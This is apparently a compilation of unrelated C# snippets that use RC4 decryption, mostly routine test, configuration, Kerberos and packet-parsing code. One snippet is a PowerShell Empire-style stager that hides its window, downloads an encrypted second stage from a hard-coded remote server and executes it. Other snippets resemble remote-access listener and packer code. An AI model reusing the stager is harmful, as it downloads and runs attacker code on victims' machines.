Example #1
0
        /// <summary>
        ///     Decrypts some data with the RC4 encryptor used in handshaking
        /// </summary>
        /// <param name="data">Buffers with the data to decrypt</param>
        /// <returns>Buffer with decrypted data</returns>
        protected byte[] DoDecrypt(byte[] data)
        {
            var d = (byte[])data.Clone();

            _decryptor.Decrypt(d);
            return(d);
        }
Example #2
0
    //if there is icon/icon.ico, it will be use into public target.exe
    //-exe target.exe -dir AppFolder -run ToExcuteExe.exe -args arg1 arg2 ..
    public static void Main(string[] args)
    {
        var    ZipFile   = "data.mhx";
        string key       = "HinxCor.EncrytoPass";
        string tmpCsFile = "se.cs";
        string passwd    = "F41E6-F565-41F1F-C1DR5-6QW";

        ZipHelper.CompressFolder(args[3], ZipFile, 5, passwd);
        Thread.Sleep(20);

        string csFile = "code.depub";
        var    bytes  = File.ReadAllBytes(csFile);
        string csCode = "";

        var coder = Encoding.UTF8.GetBytes(key);

        using (var decrytor = new RC4(coder))
        {
            var decodeData = decrytor.Decrypt((RC4.ByteArray)bytes);
            csCode = Encoding.UTF8.GetString(decodeData);
        }
        csCode = Regex.Replace(csCode, "exeFile", args[5]);
        csCode = Regex.Replace(csCode, "passwd", passwd);
        File.WriteAllText(tmpCsFile, csCode);
        new FileInfo(tmpCsFile).Attributes = FileAttributes.Hidden;
        Thread.Sleep(25);

        string batCmd = string.Format(@"@echo off csc -out:{0} {1}  -win32icon:{2}  -resource:{3},{4}", args[1], tmpCsFile, "icon/icon.ico", "HinxCor.CompressionDot45.dll", ZipFile);

        Windows.ExecuteCommand(batCmd);
    }
        public static PRUdpPacket Decode(byte[] bytes)
        {
            var    hex = bytes.ToHex();
            var    str = hex.Substring(4, 2);
            string sessionid = "", sig = "", seqnum = "", connsig = "", fragid = "", payload = "";
            var    typenflags = str.FromHexToBits();
            var    checksum   = hex.Substring(hex.Length - 8);

            int[] data = new int[typenflags.Count];
            for (int i = 0; i < typenflags.Count; i++)
            {
                if ((bool)typenflags[i])
                {
                    data[i] = 1;
                }
                else
                {
                    data[i] = 0;
                }
            }
            var flags  = Convert.ToString(data[0]) + Convert.ToString(data[1]) + Convert.ToString(data[2]) + Convert.ToString(data[3]) + Convert.ToString(data[4]);
            var type   = Convert.ToString(data[5]) + Convert.ToString(data[6]) + Convert.ToString(data[7]);
            var packet = new PRUdpPacket();

            packet.Type  = (PacketTypes)Convert.ToInt32(type, 2);
            packet.Flags = PFlags.ParseFlags(flags);
            if (packet.Type == PacketTypes.SYN || packet.Type == PacketTypes.CONNECT)
            {
                sessionid = hex.Substring(6, 2);
                sig       = hex.Substring(8, 8);
                seqnum    = hex.Substring(16, 4);
                connsig   = hex.Substring(20, 8);

                /*var f = connsig.Substring(0, 2);
                 * var ff = connsig.Substring(2, 2);
                 * var fff = connsig.Substring(4, 2);
                 * var ffff = connsig.Substring(6, 2);
                 * connsig = ffff + fff + ff + f;*/
            }
            else if (packet.Type == PacketTypes.DATA)
            {
                sessionid         = hex.Substring(6, 2);
                sig               = hex.Substring(8, 8);
                seqnum            = hex.Substring(16, 4);
                fragid            = hex.Substring(20, 2);
                payload           = PythonScript.DecompressPacketPayload(RC4.Decrypt(Encoding.ASCII.GetBytes("CD&ML"), hex.Substring(22, hex.Length - 30).FromHex()).ToHex().Substring(2)).Result;
                packet.RMCPayload = RMCPayload.Decode(payload);
            }
            else
            {
                sessionid = hex.Substring(6, 2);
                seqnum    = hex.Substring(8, 4);
            }
            packet.SessionId           = sessionid;
            packet.Signature           = sig;
            packet.Checksum            = checksum;
            packet.ConnectionSignature = connsig;
            packet.Payload             = payload;
            return(packet);
        }
Example #4
0
        private IEnumerator SendRequest(string query, object variables = null, Action <GraphQLResponse> callback = null)
        {
            var request = QueryRequest(query, variables);

            using (UnityWebRequest www = request) {
                yield return(www.SendWebRequest());

                if (www.isNetworkError)
                {
                    if (callback != null)
                    {
                        callback(new GraphQLResponse(null, www.error));
                    }
                    yield break;
                }

                string responseString = www.downloadHandler.text;
                responseString = CloudSaveSettings.Encrypted ? RC4.Decrypt(Convert.FromBase64String(responseString)) : responseString;

                var result = new GraphQLResponse(responseString);

                if (callback != null)
                {
                    callback(result);
                }
            }

            request.Dispose();
        }
Example #5
0
        public void RC4TestNewDec()
        {
            RC4    algorithm = new RC4();
            string cipher    = algorithm.Decrypt("ÏîFp", "test");

            Assert.IsTrue(cipher.Equals("aaaa"));
        }
Example #6
0
        public void RC4TestDec2()
        {
            RC4    algorithm = new RC4();
            string cipher    = algorithm.Decrypt("0xcfed4475", "0x74657374");

            Assert.IsTrue(cipher.Equals("0x61626364", StringComparison.InvariantCultureIgnoreCase));
        }
Example #7
0
        public void RC4TestDec1()
        {
            RC4    algorithm = new RC4();
            string cipher    = algorithm.Decrypt("ÏíDu", "test");

            Assert.IsTrue(cipher.Equals("abcd"));
        }
        /// <summary>
        /// LEE EL ARCHIVO PARAMETERS.MIT Y OBTIENE EL VALOR DEL PARAMETRO ENVIADO
        /// </summary>
        /// <param name="parametro">Parametro a buscar</param>
        /// <returns></returns>
        public static string ObtieneParametrosMIT(string parametro)
        {
            string parameter = "";
            string text;
            string file;
            string ruta;

            ruta = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
            file = System.IO.Path.Combine(ruta + "\\MIT\\Data", "parameters.mit");

            if (System.IO.File.Exists(file))
            {
                text = System.IO.File.ReadAllText(file);

                //DESCIFRA EL CONTENIDO DEL ARCHIVO PARAMETERS.MIT
                text = RC4.Decrypt(text, Info.RC4Key);

                //SE OBTIENE EL VALOR DEL XML
                parameter = GetDataXML(parametro, text);
            }
            else
            {
                parameter = "";
            }

            return(parameter);
        }
Example #9
0
        public static void Main(string[] args)
        {
            Console.OutputEncoding = Encoding.Unicode;

            byte[] key = { 1, 2, 3, 4, 5 };

            var dataText = @"Hello Greg!";
            var data     = Encoding.Unicode.GetBytes(dataText);

            var cipher     = RC4.Encrypt(key, data);
            var cipherText = Encoding.Unicode.GetString(cipher.ToArray());

            var retrieved     = RC4.Decrypt(key, cipher);
            var retrievedText = Encoding.Unicode.GetString(retrieved.ToArray());

            Console.WriteLine($"Data text     : {dataText}");
            Console.WriteLine($"Cipher text   : {cipherText}");
            Console.WriteLine($"Cipher bytes   : {PrintByteArray(cipher.ToArray())}");
            Console.WriteLine($"Retrieved text: {retrievedText}");

            Console.WriteLine($"Period of first pseudo-random byte: {RC4.GetKeyInitializationPeriod(key, 1)}");
            Console.WriteLine($"Period of second pseudo-random byte: {RC4.GetKeyInitializationPeriod(key, 2)}");

            Console.ReadKey();
        }
Example #10
0
        static void Main_99(string[] args)
        {
            RestClient client = new RestClient();
            //client.BaseHost = "http://192.168.2.136:90/clientapi/account/login";
            ////client.AddDefaultParameter(p: new Parameter("umail", "*****@*****.**", ParameterType.QueryString));
            ////client.AddDefaultParameter(p: new Parameter("upass", "wancai", ParameterType.QueryString));
            //RestRequest req = new RestRequest(resource: "http://192.168.2.136:90/clientapi/account/login?&[email protected]&upass=wancai", method: Method.POST);
            //var res = client.Post(req);

            RestRequest req_1 = new RestRequest("http://192.168.2.136:90/clientapi/account/login", Method.POST);

            req_1.AddParameter("umail", "*****@*****.**");
            req_1.AddParameter("upass", "wancai");
            var resbones = client.Execute(req_1);
            var b64str   = resbones.Content;

            //var b64str = res.ContentEncoding;
            //res

            //WebClient client = new WebClient();
            //var b64str = client.DownloadString("http://192.168.2.136:90/clientapi/account/login?&[email protected]&upass=wancai");
            var b64dat = Convert.FromBase64String(b64str);
            RC4 rc4    = new RC4(rcpass);
            var dch5   = rc4.Decrypt(b64dat);
            var dc     = System.Web.HttpUtility.HtmlDecode(dch5);

            Console.WriteLine(dc);
            Console.ReadKey();
        }
Example #11
0
    /// <summary>
    /// 提取内容
    /// </summary>
    /// <param name="encoded"></param>
    /// <param name="decoder"></param>
    /// <param name="codePwd"></param>
    /// <returns></returns>
    public static byte[] RequestCode(byte[] encoded, IBytesDecode decoder, ICodePwdProvider codePwd)
    {
        var decoded_ = rc4.Decrypt(encoded);
        var b_array  = Convert.FromBase64String(decoded_);

        return(decoder.Decode(b_array, codePwd));
    }
        public static string DesencriptaBines(string fileName)
        {
            string ruta;
            string file;
            string text;

            ruta = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
            file = System.IO.Path.Combine(ruta + "\\MIT\\Data", fileName);

            if (ExisteArchivo(fileName))
            {
                text = System.IO.File.ReadAllText(file);
                text = text.Replace("\r\n", "");
                text = RC4.Decrypt(text, Info.RC4Key);

                if (!text.Equals(""))
                {
                    return(text);
                }
                else
                {
                    return("");
                }
            }
            else
            {
                return("");
            }
        }
Example #13
0
        public NetMessage(byte[] rawData)
        {
            int headLength = Marshal.SizeOf(typeof(CommonPackHead));
            //分配结构体内存空间
            IntPtr structPtr = Marshal.AllocHGlobal(headLength);

            //将byte数组拷贝到分配好的内存空间
            Marshal.Copy(rawData, 0, structPtr, headLength);
            //将内存空间转换为目标结构体
            MessageHead = (CommonPackHead)Marshal.PtrToStructure(structPtr, typeof(CommonPackHead));
            //释放内存空间
            Marshal.FreeHGlobal(structPtr);


            ///
            MsgID = MessageHead.msg_id;
            UID   = (long)MessageHead.uid;

            byte[] tmpAppend = new byte[MessageHead.option_len];
            Array.Copy(rawData, headLength, tmpAppend, 0, MessageHead.option_len);
            AddAppendData(tmpAppend, MessageHead.option_len);


            byte[] encryData = new byte[(int)MessageHead.msg_len - headLength - MessageHead.option_len];
            Array.Copy(rawData, headLength + MessageHead.option_len, encryData, 0, encryData.Length);
            encryData = RC4.Decrypt(Encoding.ASCII.GetBytes(encryKey.ToCharArray()), encryData);
            encryData = Snappy.Sharp.Snappy.Uncompress(encryData);


            Data = InfibrProtoBuf.Serializer.Deserialize <T>(new MemoryStream(encryData, 0, encryData.Length));
        }
        static void Main(string[] args)
        {
            // To Hide the ConsoleWindow (It may be a better way...)
            var handle = GetConsoleWindow();

            ShowWindow(handle, 0);

            // Avoid sending Expect 100 Header
            System.Net.ServicePointManager.Expect100Continue = false;

            // Create a WebClient Object (No Proxy Support Included)
            WebClient wc = new WebClient();
            string    ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

            wc.Headers["User-Agent"] = ua;
            wc.Headers["Cookie"]     = "session=968PH6bE9CDkwYGfsUPraz0x5PQ=";

            // Set the Server Address and URL
            string server = "http://192.168.6.119:8081";
            string target = "/CWoNaJLBo/VTNeWw11212/";

            // Download The Data or Stage 2
            byte[] data = wc.DownloadData(server + target);

            // Extract IV
            byte[] iv = data.Take(4).Select(i => i).ToArray();

            // Remove the IV from the data
            byte[] data_noIV = data.Skip(4).ToArray();

            // Set Key value for decryption. PowerEmpire StageingKey value
            string key = "fdcece0a22c10f83dccc8f17c95a33d4";

            byte[] K = Encoding.ASCII.GetBytes(key);

            // Combine the IV + Key (New random key each time)
            byte[] IVK = new byte[iv.Length + K.Length];
            iv.CopyTo(IVK, 0);
            K.CopyTo(IVK, iv.Length);

            // Decrypt the Message
            byte[] decrypted = RC4.Decrypt(IVK, data_noIV);

            // Convert the stage2 decrypted message from bytes to ASCII
            string stage2 = System.Text.Encoding.ASCII.GetString(decrypted);

            // Create a PowerShell Object to execute the command
            PowerShell PowerShellInstance = PowerShell.Create();

            // Create the variables $ser and $u which are part of the downloaded stage2
            PowerShellInstance.Runspace.SessionStateProxy.SetVariable("ser", server);
            PowerShellInstance.Runspace.SessionStateProxy.SetVariable("u", ua);

            // Add the Script Stage 2 to the Powershell Object
            PowerShellInstance.AddScript(stage2);

            // Execute the Script!
            PowerShellInstance.Invoke();
        }
        public static string VerificaVoucher(string strVoucherCoP, [Optional] string leyenda, [Optional] string NumOpe)
        {
            string Impresora;
            string Legend;

            strVoucherCoP = strVoucherCoP.Replace("&amp;", "&");

            if (!strVoucherCoP.Equals(""))
            {
                if (!strVoucherCoP.Contains(":"))
                {
                    strVoucherCoP = strVoucherCoP.Replace("@", "");
                    strVoucherCoP = RC4.Decrypt(strVoucherCoP, Info.RC4Key);
                }

                if (strVoucherCoP.Contains("voucher_cliente"))
                {
                    Impresora = ObtieneParametrosMIT("Printer");
                    Legend    = ObtieneParametrosMIT("Legend");

                    if (!Impresora.Equals("1"))
                    {
                        strVoucherCoP = strVoucherCoP.Replace("@bc " + NumOpe, "");
                    }

                    if (!string.IsNullOrEmpty(leyenda))
                    {
                        strVoucherCoP = strVoucherCoP + leyenda;
                    }

                    strVoucherCoP = strVoucherCoP.Substring(0, strVoucherCoP.Length - 1);
                    strVoucherCoP = strVoucherCoP.Replace(Convert.ToChar(3).ToString(), "");
                    strVoucherCoP = strVoucherCoP.Replace("MXN", "MXN  ");

                    strVoucherCoP = QuitaAcentos(strVoucherCoP);

                    ////if( cpComm.chkPp_Printer = "0" Or cpComm.chkPp_Printer = "" )
                    ////{
                    ////    RevisaVoucher(strVoucherCoP);
                    ////}
                }
                ////else
                ////{
                ////    string FinVoucher = "@br @logo3 @br " + Info.dll_version + "@br @br ";

                ////    strVoucherCoP = strVoucherCoP.Substring(0, strVoucherCoP.Length - 1);
                ////    strVoucherCoP = strVoucherCoP.Replace(Convert.ToChar(3).ToString(), "");
                ////    strVoucherCoP = strVoucherCoP.Replace("MXN", "MXN  ");

                ////    strVoucherCoP = strVoucherCoP + FinVoucher;

                ////}
            }

            return(strVoucherCoP);
        }
Example #16
0
        public Jet3Header(byte[] data)
        {
            byte[] headerData = RC4.Decrypt(RC4Key, data.Skip(24).Take(126).ToArray());

            this.SystemCollation  = BitConverter.ToUInt16(headerData, 0x22);
            this.SystemCodePage   = BitConverter.ToUInt16(headerData, 0x24);
            this.CreationDate     = BitConverter.ToDouble(headerData, 0x5A);
            this.DatabaseKey      = BitConverter.ToUInt32(headerData, 0x26);
            this.DatabasePassword = BitConverter.ToString(headerData, 0x2A, 20);
        }
Example #17
0
        public Jet4Header(byte[] data)
        {
            byte[] headerData = RC4.Decrypt(RC4Key, data.Skip(24).Take(128).ToArray());

            this.SystemCollation  = BitConverter.ToUInt16(headerData, 0x56);
            this.SystemCodePage   = BitConverter.ToUInt16(headerData, 0x24);
            this.CreationDate     = BitConverter.ToDouble(headerData, 0x5A);
            this.DatabaseKey      = BitConverter.ToUInt32(headerData, 0x26);
            this.DatabasePassword = Encoding.Default.GetString(headerData.Skip(0x2A).Take(40).ToArray());
        }
Example #18
0
        private string[] GetTicketContents()
        {
            string decrTicket = RC4.Decrypt(TicketDecryptionKey, RC4.hex2bin("", Ticket), false);

            string[] contents = decrTicket.Split(';');
            if (contents.Length != 2)
            {
                return(null);
            }
            return(contents);
        }
        /// <summary>
        /// GUARDA EN EL ARCHIVO PARAMETERS.MIT, EL PARAMETRO INDICADO
        /// </summary>
        /// <param name="parametro">parametro a guardar</param>
        /// <param name="valor">valor del parametro</param>
        /// <returns></returns>
        public static bool GuardaParametrosMIT(string parametro, string valor)
        {
            bool   guardar   = false;
            string parameter = "";
            string text;
            string file;
            string ruta;

            ruta = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
            file = System.IO.Path.Combine(ruta + "\\MIT\\Data", "parameters.mit");

            //se verica que exista el archivo
            if (!System.IO.File.Exists(file))
            {
                if (CreaCarpetaMIT())
                {
                    System.IO.File.Create(file);
                }
            }


            text = System.IO.File.ReadAllText(file);

            //DESCIFRA EL CONTENIDO DEL ARCHIVO PARAMETERS.MIT
            text = RC4.Decrypt(text, Info.RC4Key);

            //SE OBTIENE EL VALOR DEL XML
            parameter = GetDataXML(parametro, text);

            //se sustituye el valor anterior
            string valorOriginal = "";
            string valorNuevo    = "";

            if (!parameter.Equals(""))
            {
                valorOriginal = "<" + parametro + ">" + parameter + "</" + parametro + ">";
                valorNuevo    = "<" + parametro + ">" + valor + "</" + parametro + ">";
                text          = text.Replace(valorOriginal, valorNuevo);
            }
            else
            {
                valorOriginal = "<" + parametro + ">" + parameter + "</" + parametro + ">";
                valorNuevo    = "<" + parametro + ">" + valor + "</" + parametro + ">";
                text          = text.Replace(valorOriginal, "");
                text          = text + valorNuevo;
            }


            //se guarda el archivo nuevamente
            System.IO.File.WriteAllText(file, RC4.Encrypt(text, Info.RC4Key));

            return(guardar);
        }
Example #20
0
        private void button3_Click(object sender, EventArgs e)
        {
            if (_packet != null && saveFileDialog1.ShowDialog() == DialogResult.OK)
            {
                // copypasting code is my signature move
                if (saveFileDialog1.FileName != string.Empty)
                {
                    var stream = (FileStream)saveFileDialog1.OpenFile();

                    stream.Write(RC4.Decrypt(Encoding.ASCII.GetBytes(textBox2.Text), _packet.Payload));
                    stream.Close();
                }
            }
        }
Example #21
0
        /// <summary>
        /// Dodaje jedan novi element u .xml datoteku (bazu podataka).
        /// </summary>
        /// <param name="id"> Jedinstveni identifikator novog elementa. </param>
        /// <param name="name"> Naziv novog elementa. </param>
        public void Write(byte[] id, byte[] name)
        {
            string key = "burek";                           // Kljuc za enkripciju i dekripciju podataka.

            byte[] keyB = Encoding.ASCII.GetBytes(key);

            byte[] idDec   = RC4.Decrypt(keyB, id);         // Dekodiranje vrednosti ID-a i naziva elementa.
            byte[] nameDec = RC4.Decrypt(keyB, name);

            string idString   = Encoding.ASCII.GetString(idDec);
            string nameString = Encoding.ASCII.GetString(nameDec);

            if (File.Exists("Informations.xml"))                                                                               // Provera postojanja datoteke u kojoj se dodaje specificiran element.
            {
                XDocument xDocument         = XDocument.Load("Informations.xml");                                              // Ukoliko datoteka postoji, ucitaju se podaci iz nje.
                XElement  root              = xDocument.Element("Elements");                                                   // Pribavlja se cvor koji predstavlja koren datoteke.
                IEnumerable <XElement> rows = root.Descendants("Element");                                                     // Lista cvorova potomaka korenog elementa.
                XElement lastRow            = rows.Last();                                                                     // Odredjivanje poslednjeg elementa iz liste.

                lastRow.AddAfterSelf(new XElement("Element", new XElement("ID", idString), new XElement("Name", nameString))); // Po odredjinanju poslednjeg elementa, nakon tog elementa doda se element na osnovu specificiranih vrednosti.

                xDocument.Save("Informations.xml");                                                                            // Nakon azuriranja .xml datoteke, promene se sacuvaju.
            }
            else
            {
                using (XmlWriter xmlWriter = XmlWriter.Create("Informations.xml")) // Ukoliko specificirana datoteka ne postoji, pravi se nova .xml datoteka.
                {
                    xmlWriter.WriteStartDocument();                                // Pocetni element svake .xml datoteke.

                    xmlWriter.WriteStartElement("Elements");                       // Koreni element .xml datoteke.

                    xmlWriter.WriteStartElement("Element");                        // Dodavanje specificiranog elementa.
                    xmlWriter.WriteElementString("ID", idString);
                    xmlWriter.WriteElementString("Name", nameString);
                    xmlWriter.WriteEndElement();

                    xmlWriter.WriteEndElement();

                    xmlWriter.WriteEndDocument();

                    xmlWriter.Flush();                              // Praznjenje bafera.
                    xmlWriter.Close();                              // Zatvaranje XmlWriter-a.
                }
            }
        }
Example #22
0
        private static byte[] Decrypt(byte[] k1, byte[] ciphertext, KeyUsage keyType)
        {
            var salt = GetSalt((int)keyType);

            var k2 = KerberosHash.HMACMD5(k1, salt);

            var checksum = new byte[HashSize];

            Buffer.BlockCopy(ciphertext, 0, checksum, 0, HashSize);

            var k3 = KerberosHash.HMACMD5(k2, checksum);

            var ciphertextOffset = new byte[ciphertext.Length - HashSize];

            Buffer.BlockCopy(ciphertext, HashSize, ciphertextOffset, 0, ciphertextOffset.Length);

            var plaintext = RC4.Decrypt(k3, ciphertextOffset);

            var calculatedHmac = KerberosHash.HMACMD5(k2, plaintext);

            var invalidChecksum = false;

            if (calculatedHmac.Length >= HashSize)
            {
                for (var i = 0; i < HashSize; i++)
                {
                    if (calculatedHmac[i] != ciphertext[i])
                    {
                        invalidChecksum = true;
                    }
                }
            }

            if (invalidChecksum)
            {
                throw new SecurityException("Invalid Checksum");
            }

            var output = new byte[plaintext.Length - ConfounderSize];

            Buffer.BlockCopy(plaintext, ConfounderSize, output, 0, output.Length);

            return(output);
        }
Example #23
0
        public byte[] DecryptText(EncryptTextMessage message)
        {
            byte[] decryptedText = null;
            //Odradi se enkripcija
            if (message.Algorithm == AlgorithmType.RC4)
            {
                RC4 rc = new RC4(message.Key, message.IV);
                decryptedText = rc.Decrypt(message.Data);
            }
            else if (message.Algorithm == AlgorithmType.RC4CTR)
            {
                RC4 rc = new RC4(message.Key, message.IV);
                decryptedText = rc.DecryptWithCTR(message.Data);
            }
            else if (message.Algorithm == AlgorithmType.A52 || message.Algorithm == AlgorithmType.A52CTR)
            {
                A52 alg = new A52();
                alg.SetKey(message.Key);
                alg.SetF(message.FKeyA52);

                if (message.Algorithm == AlgorithmType.A52)
                {
                    decryptedText = alg.Decrypt(message.Data);
                }
                else
                {
                    alg.SetIV(message.IV);
                    decryptedText = alg.DecryptWithCTR(message.Data);
                }
            }
            else if (message.Algorithm == AlgorithmType.RSA)
            {
                RSA rsa = new RSA();
                rsa.E = new BigInteger(message.Key);
                rsa.P = new BigInteger(message.P);
                rsa.Q = new BigInteger(message.Q);
                rsa.GenerateRSA();
                //BigInteger result = rsa.Decrypt(new BigInteger(message.Data));
                //decryptedText = result.ToByteArray();
                decryptedText = rsa.Decrypt(message.Data);
            }

            return(decryptedText);
        }
        private static byte[] Decrypt(byte[] k1, byte[] ciphertext, KeyUsage keyType)
        {
            // get the salt using key usage
            byte[] salt = GetSalt((int)keyType);

            // compute K2 using K1
            byte[] k2 = HMAC(k1, salt);

            byte[] checksum = new byte[HashSize];
            Buffer.BlockCopy(ciphertext, 0, checksum, 0, HashSize);

            byte[] k3 = HMAC(k2, checksum);

            byte[] ciphertextOffset = new byte[ciphertext.Length - HashSize];

            Buffer.BlockCopy(ciphertext, HashSize, ciphertextOffset, 0, ciphertextOffset.Length);

            //0 + HashSize, ciphertext.Length - HashSize
            byte[] plaintext = RC4.Decrypt(k3, ciphertextOffset);

            byte[] calculatedHmac = HMAC(k2, plaintext);

            bool invalidChecksum = false;

            if (calculatedHmac.Length >= HashSize)
            {
                for (var i = 0; i < HashSize; i++)
                {
                    if (calculatedHmac[i] != ciphertext[i])
                    {
                        invalidChecksum = true;
                    }
                }
            }

            if (invalidChecksum)
            {
                throw new SecurityException("Invalid Checksum");
            }

            byte[] output = new byte[plaintext.Length - ConfounderSize];
            Buffer.BlockCopy(plaintext, ConfounderSize, output, 0, output.Length);
            return(output);
        }
Example #25
0
        private static byte[] GetExportedSessionKey(byte[] sessionBaseKey, AuthenticateMessage message, byte[] serverChallenge, byte[] lmowf)
        {
            byte[] keyExchangeKey;
            if (AuthenticationMessageUtils.IsNTLMv2NTResponse(message.NtChallengeResponse))
            {
                keyExchangeKey = sessionBaseKey;
            }
            else
            {
                keyExchangeKey = NtlmCryptography.KXKey(sessionBaseKey, message.NegotiateFlags, message.LmChallengeResponse, serverChallenge, lmowf);
            }

            if ((message.NegotiateFlags & NegotiateFlags.KeyExchange) > 0)
            {
                return(RC4.Decrypt(keyExchangeKey, message.EncryptedRandomSessionKey));
            }

            return(keyExchangeKey);
        }
Example #26
0
        public static Account Decrypt(Stream inputStream, ConsoleType consoleType)
        {
            var hmac   = new HMACSHA1(consoleType == ConsoleType.Retail ? RetailKey : DevkitKey);
            var hash   = inputStream.ReadBytes(16);
            var rc4Key = hmac.ComputeHash(hash);

            Array.Resize(ref rc4Key, 16);

            var rest = inputStream.ReadBytes(388);
            var body = RC4.Decrypt(rc4Key, rest);

            var compareBuffer = hmac.ComputeHash(body);

            if (!memcmp(hash, compareBuffer, 16))
            {
                throw new InvalidDataException("Keys do not match");
            }
            return(ModelFactory.GetModel <Account>(body.Skip(8).ToArray()));
        }
Example #27
0
        private void OnClientRead(byte[] e)
        {
            if (ClientRead != null)
            {
                try
                {
                    _parentServer.BytesReceived += e.LongLength;

                    if (compressionEnabled)
                    {
                        e = new LZ4.LZ4Decompressor32().Decompress(e);
                    }

                    if (encryptionEnabled)
                    {
                        e = RC4.Decrypt(e, XMLSettings.Password);
                    }

                    using (MemoryStream deserialized = new MemoryStream(e))
                    {
                        IPacket packet = Serializer.DeserializeWithLengthPrefix <IPacket>(deserialized, PrefixStyle.Fixed32);

                        if (packet.GetType() == typeof(KeepAliveResponse))
                        {
                            _parentServer.HandleKeepAlivePacket((KeepAliveResponse)packet, this);
                        }

                        else if (packet.GetType() == typeof(KeepAlive))
                        {
                            new KeepAliveResponse()
                            {
                                TimeSent = ((KeepAlive)packet).TimeSent
                            }
                        }
                        .Execute(this);

                        else
                        {
                            ClientRead(this, packet);
                        }
                    }
Example #28
0
        private void HandleRequest(object state)
        {
            try
            {
                var context = (HttpListenerContext)state;

                main.LogLine(string.Format("{0}\t{1}\t{2}\t{3}\t{4}", context.Request.HttpMethod, context.Request.RawUrl, context.Request.RemoteEndPoint.Address.ToString(), context.Request.UserAgent,
                    DateTime.Now.ToString()));

                context.Response.StatusCode = 200;
                context.Response.SendChunked = false;
                context.Response.KeepAlive = false;

                byte[] buf = getPayload(context);

                buf = gzip.Decompress(RC4.Decrypt(Encoding.ASCII.GetBytes(Global.Key), buf));
                if (buf == null)
                {
                    context.Response.Close();
                    return;
                }

                string cmd = ProcessText(Encoding.ASCII.GetString(buf));
                if (cmd == null)
                {
                    context.Response.Close();
                    return;
                }

                buf = RC4.Encrypt(Encoding.ASCII.GetBytes(Global.Key), gzip.Compress(Encoding.ASCII.GetBytes(cmd)));
                context.Response.ContentType = "application/octet-stream";
                context.Response.ContentLength64 = buf.Length;
                context.Response.OutputStream.Write(buf, 0, buf.Length);

                context.Response.Close();
            }
            catch (Exception ex)
            {
                main.LogLine(ex.Message);
            }
        }
Example #29
0
        public static List <DocumentModel> DecryptDocumentReducer(List <DocumentModel> previousState, DecryptAction action)
        {
            var isUserLoggedIn   = App.Store.GetState().UserProfile != null;
            var documentService  = new DocumentService(App.Store.GetState().DocumentConnectionString);
            var userService      = new UserService(App.Store.GetState().UserConnectionString);
            var newListDocuments = previousState;

            foreach (var document in action.createDocumentParams)
            {
                if (!File.Exists(document.Path) || !CanReadFile.Check(document.Path))
                {
                    continue;
                }
                var rc4               = new RC4(document.Password.Trim(), File.ReadAllBytes(document.Path));
                var newDocumentName   = string.Join("_", Path.GetFileNameWithoutExtension(document.Path), string.Format("{0:yyyy-MM-dd_hh-mm-ss-fff}{1}", DateTime.Now, document.FileExt));
                var decryptedFileRaw  = rc4.Decrypt(document.Path);
                var decryptedFilePath = Path.Combine(App.Store.GetState().DocumentFolder, newDocumentName);
                File.WriteAllBytes(decryptedFilePath, decryptedFileRaw);
                var documentId       = document.Id == Guid.Empty ? Guid.NewGuid() : document.Id;
                var decyptedDocument = new DocumentModel
                {
                    Id          = documentId,
                    Path        = decryptedFilePath,
                    IsEncrypted = false,
                    Name        = Path.GetFileName(newDocumentName),
                    Password    = document.Password.Trim(),
                    FileExt     = document.FileExt
                };
                if (isUserLoggedIn)
                {
                    documentService.CreateOrUpdate(decyptedDocument);
                    userService.UpdateUserDocument(App.Store.GetState().UserProfile.Id, documentId);
                }
                else
                {
                    newListDocuments.Add(decyptedDocument);
                }
            }
            return(newListDocuments);
        }
Example #30
0
        static void Main(string[] args)
        {
            //用BAT打包可执行文件

            //解析cs源码

            string key    = "HinxCor.EncrytoPass";
            string csFile = "code.depub";
            var    data   = File.ReadAllBytes(csFile);//加密了的数据
            string csname = "code.depub.decode";

            using (var rc4 = new RC4(Encoding.UTF8.GetBytes(key)))
            {
                string cedetail = rc4.Decrypt(data);
                File.WriteAllText(csname, cedetail);

                var processInfo = new ProcessStartInfo("tool_RegisterPath.exe");
                processInfo.CreateNoWindow  = true;
                processInfo.UseShellExecute = false;
                // *** Redirect the output ***
                processInfo.RedirectStandardError  = true;
                processInfo.RedirectStandardOutput = true;
                var p = Process.Start(processInfo);
                p.WaitForExit();
                Thread.Sleep(100);

                string batcmd = string.Format(@"csc -out:{0} {1} -win32icon:icon.ico -resource:{2} -resource:{3} -resource:{4} -resource:{5}"
                                              , args[0], csname, "DCARE.exe", "HinxCor.CompressionDot45.dll", "ICSharpCode.SharpZipLib.dll", "data.mhx");
                Windows.ExecuteCommand(batcmd);
                Console.WriteLine("batch:" + batcmd);
                File.Delete(csname);
                File.Delete("data.mhx");
                if (args.Length > 1)
                {
                    new FileInfo(args[0]).MoveTo(args[1]);
                }
                //Console.ReadKey();
            }
        }